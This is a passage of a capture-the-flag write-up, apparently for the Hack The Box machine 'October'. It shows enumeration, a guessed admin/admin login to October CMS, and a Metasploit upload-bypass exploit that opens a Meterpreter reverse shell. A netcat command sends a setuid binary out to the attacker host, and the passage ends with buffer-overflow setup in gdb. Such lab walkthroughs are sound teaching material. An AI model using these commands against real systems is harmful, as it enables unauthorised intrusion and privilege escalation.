|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.12 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.13 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.13 or 4.2 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.16 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.16 - 4.6 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.18 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.2 - 4.9 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.8 - 3.11 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.2 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;
No exact OS matches &lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test &lt;/span&gt;conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Network Distance: 2 hops
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE &lt;span class="o"&gt;(&lt;/span&gt;using port 22/tcp&lt;span class="o"&gt;)&lt;/span&gt;
HOP RTT      ADDRESS                                                                                              
1   26.69 ms 10.10.14.1                                                                                           
2   26.69 ms 10.10.10.16
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The web server has some kind of explicit sleep and takes a long time to respond to requests. This makes directory enumeration difficult. I run a smaller wordlist and after about 20 minutes, I have the following content so far.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="nt"&gt;-x&lt;/span&gt; txt,php &lt;span class="nt"&gt;--timeout&lt;/span&gt; 30s &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.10.16/

&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.0.1
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@_FireFart_&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:            http://10.10.10.16/
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:        10
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Status codes:   200,204,301,302,307,401,403
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:     gobuster/3.0.1
&lt;span class="o"&gt;[&lt;/span&gt;+] Extensions:     txt,php
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:        30s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/28 11:39:53 Starting gobuster
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/.hta &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.hta.txt &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.hta.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.htaccess &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.htaccess.txt &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.htaccess.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.htpasswd &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.htpasswd.txt &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.htpasswd.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/Blog &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt;
/account &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt;
/backend &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt;
/blog &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt;
/config &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/error &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I can start looking into these endpoints while I let that run in the background. From the initial content, I can see this is running &lt;a href="https://octobercms.com/"&gt;October CMS&lt;/a&gt; (box name is a giveaway as well).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://10.10.10.16/backend&lt;/code&gt; reveals a login form. I guess &lt;code&gt;admin / admin&lt;/code&gt; and find that these credentials are correct.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/offensive-security/exploitdb#searchsploit"&gt;searchsploit&lt;/a&gt; shows that there is a Metasploit module that exploits an authenticated session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;searchsploit october

&lt;span class="nt"&gt;--------------------------------------------------------------------------------&lt;/span&gt; &lt;span class="nt"&gt;---------------------------------&lt;/span&gt;
 Exploit Title                                                                  |  Path
&lt;span class="nt"&gt;--------------------------------------------------------------------------------&lt;/span&gt; &lt;span class="nt"&gt;---------------------------------&lt;/span&gt;
October CMS - Upload Protection Bypass Code Execution &lt;span class="o"&gt;(&lt;/span&gt;Metasploit&lt;span class="o"&gt;)&lt;/span&gt;              | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities                                  | php/webapps/41936.txt
October CMS &amp;lt; 1.0.431 - Cross-Site Scripting                                    | php/webapps/44144.txt
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting                 | php/webapps/44546.txt
OctoberCMS 1.0.425 &lt;span class="o"&gt;(&lt;/span&gt;Build 425&lt;span class="o"&gt;)&lt;/span&gt; - Cross-Site Scripting                           | php/webapps/42978.txt
OctoberCMS 1.0.426 &lt;span class="o"&gt;(&lt;/span&gt;Build 426&lt;span class="o"&gt;)&lt;/span&gt; - Cross-Site Request Forgery                     | php/webapps/43106.txt
&lt;span class="nt"&gt;--------------------------------------------------------------------------------&lt;/span&gt; &lt;span class="nt"&gt;---------------------------------&lt;/span&gt;
Shellcodes: No Results
Papers: No Results
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I go ahead and use the &lt;code&gt;exploit/multi/http/october_upload_bypass_exec&lt;/code&gt; module in Metasploit to get a user shell as the &lt;code&gt;www-data&lt;/code&gt; user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf5 exploit&lt;span class="o"&gt;(&lt;/span&gt;multi/http/october_upload_bypass_exec&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run

&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Started reverse TCP handler on 10.10.14.41:4444 
&lt;span class="o"&gt;[&lt;/span&gt;+] Authentication successful: admin:admin
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Sending stage &lt;span class="o"&gt;(&lt;/span&gt;38288 bytes&lt;span class="o"&gt;)&lt;/span&gt; to 10.10.10.16
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Meterpreter session 1 opened &lt;span class="o"&gt;(&lt;/span&gt;10.10.14.41:4444 -&amp;gt; 10.10.10.16:49062&lt;span class="o"&gt;)&lt;/span&gt; at 2020-06-28 12:16:13 &lt;span class="nt"&gt;-0400&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Deleted pXNLiuNzD.php5

meterpreter &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I can get the user flag. From here I upload &lt;a href="https://github.com/diego-treitos/linux-smart-enumeration"&gt;Linux Smart Enumeration (LSE)&lt;/a&gt; to the target and execute it to enumerate the system.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;./lse.sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; 1 | less
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The most interesting item is that a setuid binary exists on the system that &lt;code&gt;www-data&lt;/code&gt; can execute.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[!]&lt;/span&gt; fst020 Uncommon setuid binaries........................................ &lt;span class="nb"&gt;yes&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
:
&lt;span class="nt"&gt;---&lt;/span&gt;
:        
/usr/local/bin/ovrflw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;LSE is a great enumeration script. A setuid binary is an executable with the &lt;code&gt;SUID&lt;/code&gt; bit set. This means that the file is executed with the privileges of the file owner, regardless of the user that executes the file. Given that &lt;code&gt;root&lt;/code&gt; owns the &lt;code&gt;/usr/local/bin/ovrflw&lt;/code&gt; file, this means that if I can get the &lt;code&gt;ovrflw&lt;/code&gt; binary to somehow execute a shell, the shell will spawn as the root user.&lt;/p&gt;

&lt;p&gt;Given the name of the file, I assume that this will require a buffer overflow. Indeed, I can verify that an overflow vulnerability exists by passing a large input.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;/usr/local/bin/ovrflw
/usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw &amp;lt;input string&amp;gt;

www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;/usr/local/bin/ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;^[[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation fault &lt;span class="o"&gt;(&lt;/span&gt;core dumped&lt;span class="o"&gt;)&lt;/span&gt;
www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I got a segmentation fault. Time to copy down this binary onto my machine and get it prepped for buffer overflow analysis.&lt;/p&gt;

&lt;p&gt;On my machine, I set up netcat to listen for data and output it to a file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@kali-pop:~/shares/htb/october&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nc &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 999 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ovrflw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since &lt;code&gt;nc&lt;/code&gt; is present on the target, I can transfer the file with the following command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;nc &lt;span class="nt"&gt;-w&lt;/span&gt; 5 10.10.14.41 999 &amp;lt; /usr/local/bin/ovrflw
nc &lt;span class="nt"&gt;-w&lt;/span&gt; 5 10.10.14.41 999 &amp;lt; /usr/local/bin/ovrflw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I use &lt;code&gt;md5sum&lt;/code&gt; to verify that the local file I have is the same as on the server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@kali-pop:~/shares/htb/october&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;md5sum &lt;/span&gt;ovrflw 
0e531949d891fd56a2ead07610cc5ded  ovrflw

www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;md5sum&lt;/span&gt; /usr/local/bin/ovrflw
&lt;span class="nb"&gt;md5sum&lt;/span&gt; /usr/local/bin/ovrflw
0e531949d891fd56a2ead07610cc5ded  /usr/local/bin/ovrflw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I also need to check the architecture of the target system.&lt;br&gt;
This is a 32-bit machine running Ubuntu 14.04.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
Linux october 4.4.0-78-generic &lt;span class="c"&gt;#99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux&lt;/span&gt;
www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/lsb-release
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/lsb-release
&lt;span class="nv"&gt;DISTRIB_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Ubuntu
&lt;span class="nv"&gt;DISTRIB_RELEASE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;14.04
&lt;span class="nv"&gt;DISTRIB_CODENAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;trusty
&lt;span class="nv"&gt;DISTRIB_DESCRIPTION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Ubuntu 14.04.5 LTS"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since I want to match the target as closely as possible when developing the buffer overflow, I'll use an Ubuntu 14.04 image. The closest I could get was &lt;a href="https://releases.ubuntu.com/trusty/ubuntu-14.04.6-desktop-i386.iso"&gt;https://releases.ubuntu.com/trusty/ubuntu-14.04.6-desktop-i386.iso&lt;/a&gt;, which is pretty close. I spin that up in VMWare and begin installing. You can use Virtualbox, but I feel that Virtualbox VM performance is significantly worse than VMWare. There is also &lt;code&gt;ubuntu/images/ebs/ubuntu-trusty-14.04-i386-server-20180627&lt;/code&gt; under public community AMIs on AWS, so you can try that out.&lt;/p&gt;

&lt;p&gt;In the VMWare VM, which takes about 5 minutes to install, I set up &lt;a href="https://www.gnu.org/software/gdb/"&gt;gdb&lt;/a&gt; and &lt;a href="https://github.com/longld/peda"&gt;PEDA&lt;/a&gt;. PEDA is &lt;code&gt;Python Exploit Development Assistance for GDB&lt;/code&gt;. It's a beneficial complement on top of &lt;code&gt;gdb&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; build-essential git
git clone https://github.com/longld/peda.git ~/peda
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"source ~/peda/peda.py"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.gdbinit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I copy my binary over to this test VM.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;wget http://172.16.145.128:8000/ovrflw

&lt;span class="nt"&gt;--2020-06-28&lt;/span&gt; 10:26:29--  http://172.16.145.128:8000/ovrflw
Connecting to 172.16.145.128:8000... ^C
artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;wget http://192.168.1.209:8000/ovrflw
&lt;span class="nt"&gt;--2020-06-28&lt;/span&gt; 10:27:20--  http://192.168.1.209:8000/ovrflw
Connecting to 192.168.1.209:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7377 &lt;span class="o"&gt;(&lt;/span&gt;7.2K&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;application/octet-stream]
Saving to: ‘ovrflw’

100%[&lt;span class="o"&gt;============================================================&amp;gt;]&lt;/span&gt; 7,377       &lt;span class="nt"&gt;--&lt;/span&gt;.-K/s   &lt;span class="k"&gt;in &lt;/span&gt;0.001s  

2020-06-28 10:27:20 &lt;span class="o"&gt;(&lt;/span&gt;12.1 MB/s&lt;span class="o"&gt;)&lt;/span&gt; - ‘ovrflw’ saved &lt;span class="o"&gt;[&lt;/span&gt;7377/7377]

artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;

total 8
&lt;span class="nt"&gt;-rw-rw-r--&lt;/span&gt; 1 artis3n artis3n 7377 Jun 28 10:07 ovrflw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now I start my analysis.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb ./ovrflw
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; b main
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This view of the registers and memory addresses comes from PEDA.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--y5CnW66l--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/october/gdb-with-peda.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--y5CnW66l--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/october/gdb-with-peda.png" alt="gdb peda"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I can check the security flags compiled into the binary with PEDA's &lt;code&gt;checksec&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--SIu2y5eF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/october/checksec.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SIu2y5eF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/october/checksec.png" alt="checksec"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;NX&lt;/code&gt; is enabled, but I don't really care about that. I should also check whether ASLR is enabled on the target machine.&lt;/p&gt;

&lt;p&gt;On the &lt;strong&gt;target&lt;/strong&gt;, I get &lt;code&gt;libc&lt;/code&gt;'s memory address (&lt;code&gt;0xb7565000&lt;/code&gt;) with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
        libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7565000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I see that repeated invocations of &lt;code&gt;ldd /usr/local/bin/overflw&lt;/code&gt; show that &lt;code&gt;libc&lt;/code&gt;'s memory address changes every time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
        libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7565000&lt;span class="o"&gt;)&lt;/span&gt;
www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
        libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7640000&lt;span class="o"&gt;)&lt;/span&gt;
www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
        libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7547000&lt;span class="o"&gt;)&lt;/span&gt;
www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
        libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7564000&lt;span class="o"&gt;)&lt;/span&gt;
www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc    
ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
        libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb75d9000&lt;span class="o"&gt;)&lt;/span&gt;
www-data@october:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
        libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb75ba000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means that ASLR is enabled. This means I cannot rely on grabbing static memory addresses from the target system for a &lt;a href="https://en.wikipedia.org/wiki/Return-to-libc_attack"&gt;return-to-libc&lt;/a&gt; attack, because the memory addresses will be different each time.&lt;/p&gt;

&lt;p&gt;For the meantime on my &lt;strong&gt;test&lt;/strong&gt; VM, I disable ASLR to get a basic buffer overflow exploit working. I will have to modify it to bypass ASLR, but one step at a time. To disable ASLR, you have to &lt;code&gt;su&lt;/code&gt; to root and run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;artis3n: 
root@ubuntu:/home/artis3n/Desktop# &lt;span class="nb"&gt;echo &lt;/span&gt;0 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /proc/sys/kernel/randomize_va_space
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the &lt;strong&gt;test&lt;/strong&gt; VM, I can now see that ASLR is disabled, as the &lt;code&gt;libc&lt;/code&gt; memory address does not change.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;ldd ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7e13000&lt;span class="o"&gt;)&lt;/span&gt;
artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;ldd ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7e13000&lt;span class="o"&gt;)&lt;/span&gt;
artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;ldd ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7e13000&lt;span class="o"&gt;)&lt;/span&gt;
artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;ldd ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7e13000&lt;span class="o"&gt;)&lt;/span&gt;
artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;ldd ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7e13000&lt;span class="o"&gt;)&lt;/span&gt;
artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;ldd ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
